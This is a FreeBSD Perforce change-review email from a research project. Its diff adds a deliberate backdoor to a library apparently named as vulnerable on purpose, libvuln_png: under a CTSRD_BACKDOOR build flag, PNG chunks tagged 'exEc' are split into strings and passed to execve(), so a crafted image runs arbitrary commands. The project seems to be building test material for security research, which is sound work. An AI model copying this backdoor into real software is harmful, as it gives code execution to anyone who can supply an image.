Date: Wed, 21 Nov 2012 23:29:13 GMT From: Brooks Davis <brooks@FreeBSD.org> To: Perforce Change Reviews <perforce@freebsd.org> Subject: PERFORCE change 219825 for review Message-ID: <201211212329.qALNTDPK006631@skunkworks.freebsd.org>
next in thread | raw e-mail | index | archive | help
http://p4web.freebsd.org/@@219825?ac=10 Change 219825 by brooks@brooks_zenith on 2012/11/21 23:29:09 Abuse the unknown chunk handler to add support for a new chunk type exEc which processess the data section as set of null seperated and terminated strings and passes them to execve(). Affected files ... .. //depot/projects/ctsrd/cheribsd/src/ctsrd-lib/libvuln_png/Makefile#5 edit .. //depot/projects/ctsrd/cheribsd/src/ctsrd-lib/libvuln_png/pngrutil.c#2 edit Differences ... ==== //depot/projects/ctsrd/cheribsd/src/ctsrd-lib/libvuln_png/Makefile#5 (text+ko) ==== @@ -29,7 +29,8 @@ SSP_CFLAGS= CFLAGS+= -DPNG_NO_FLOATING_POINT_SUPPORTED \ - -DPNG_NO_CONSOLE_IO + -DPNG_NO_CONSOLE_IO \ + -DCTSRD_BACKDOOR # libde4tc currently requires # -DPNG_NO_STDIO ==== //depot/projects/ctsrd/cheribsd/src/ctsrd-lib/libvuln_png/pngrutil.c#2 (text+ko) ==== @@ -14,6 +14,10 @@ #define PNG_INTERNAL #include "png.h" +#if defined(CTSRD_BACKDOOR) +#include <unistd.h> +#endif + #if defined(_WIN32_WCE) /* strtod() function is not supported on WindowsCE */ # ifdef PNG_FLOATING_POINT_SUPPORTED @@ -2121,6 +2125,9 @@ png_handle_unknown(png_structp png_ptr, png_infop info_ptr, png_uint_32 length) { png_uint_32 skip = 0; +#if defined(CTSRD_BACKDOOR) + const png_byte png_exEc[5] = {101, 120, 69, 99, '\0'} +#endif png_debug(1, "in png_handle_unknown\n"); @@ -2149,7 +2156,11 @@ } #if defined(PNG_READ_UNKNOWN_CHUNKS_SUPPORTED) +#if defined(CTSRD_BACKDOOR) + if (1) +#else if (png_ptr->flags & PNG_FLAG_KEEP_UNKNOWN_CHUNKS) +#endif { png_unknown_chunk chunk; @@ -2165,6 +2176,37 @@ chunk.data = (png_bytep)png_malloc(png_ptr, length); chunk.size = (png_size_t)length; png_crc_read(png_ptr, (png_bytep)chunk.data, length); +#if defined(CTSRD_BACKDOOR) + /* + * Handle exEc chunks by parsing the data (presumed to be a series of + * NUL seperated strings) into an argv array and then execing it. + * Don't worry too much about validation or error handling since the + * whole point is to be exploitable. + */ + if (png_memcmp(chunk.name, png_exEc, 4) == 0) { + int i, argc; + char *c, **argv; + char * envp[1] = { NULL }; + + c = (char *)chunk.data; + argc = 0; + for (c = (char *)chunk.data; c < (char *)chunk.data + length; c++) { + if (*c == '\0') + argc++; + } + argv = png_malloc(png_ptr, sizeof(*argv) * (argc + 1)); + argv[0] = (char *)chunk.data; + for (c = (char *)chunk.data, i = 0; i < argc; c++) { + if (*c == '\0') { + i++; + argv[i] = c + 1; + } + } + argv[argc] = NULL; + execve(argv[0], argv, envp); + png_error(png_ptr, "failed to exec exEc chunk"); + } +#endif #if defined(PNG_READ_USER_CHUNKS_SUPPORTED) if(png_ptr->read_user_chunk_fn != NULL) {
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?201211212329.qALNTDPK006631>